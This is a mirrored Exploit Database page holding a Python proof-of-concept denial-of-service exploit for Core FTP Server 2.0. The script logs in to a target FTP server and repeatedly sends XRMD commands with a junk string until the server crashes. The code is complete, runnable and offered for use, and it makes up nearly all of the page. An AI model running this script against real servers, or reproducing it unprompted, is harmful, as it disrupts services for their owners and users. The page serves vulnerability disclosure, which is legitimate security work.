Core FTP 2.0 – ‘XRMD’ Denial of Service (PoC)

• Exploit Database
• 122 阅读

• 作者： Erik David Martin
  日期： 2018-07-26
• 类别：

  • dos
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/45091/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64

  # Exploit Title: Core FTP 2.0 - &apos;XRMD&apos; Denial of Service (PoC) # Date: 2018-07-24 # Exploit Author: Erik David Martin # Vendor Homepage: http://www.coreftp.com/ # Software Link: http://www.coreftp.com/server/download/CoreFTPServer.exe # Version: Version 2.0, build 653, 32-bit # Tested on: Windows XP Professional, Version 2002, Service Pack 3 # CVE: N/A   # Proof of concept: # Create a new domain and set IP address # Use the default certificate by Core FTP Server # Set base directory # Create an anonymous user (anonymous:anonymous) for example # Set a path for the user # Start the server # Run exploit: python exploit.py *target ip* anonymous anonymous # Watch the server crash... # The exploit will work for any user, and not just anonymous   import sys import socket   try: host = sys.argv[1] username = sys.argv[2] password = sys.argv[3] except: print("Usage: exploit.py *target ip* *username* *password*") sys.exit()   mysocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # mysocket.settimeout(2)   try: mysocket.connect((host,21)) mysocket.recv(1024) print("\n[+] Connected\n") except: print("[-] Error! Could not connect to target") sys.exit()   junk = ("asO8M.lFX[Gq<4<p(.P5eMLv]\2!G8jB_6Gx[I;I!aYa#oAi@kI<f.QFwkSBiQ,!")   try: mysocket.send("USER " + username + "\r\n") mysocket.recv(1024) mysocket.send("PASS " + password + "\r\n") mysocket.recv(1024) print("[+] Logged in as " + username) except: print("[-] Error! Could not log in as " + username) sys.exit()   print("[+] Sending malicious request")   while True: try: mysocket.send("XRMD " + junk + "\r\n") mysocket.recv(1024) except: print("[+] Target is down\n") sys.exit()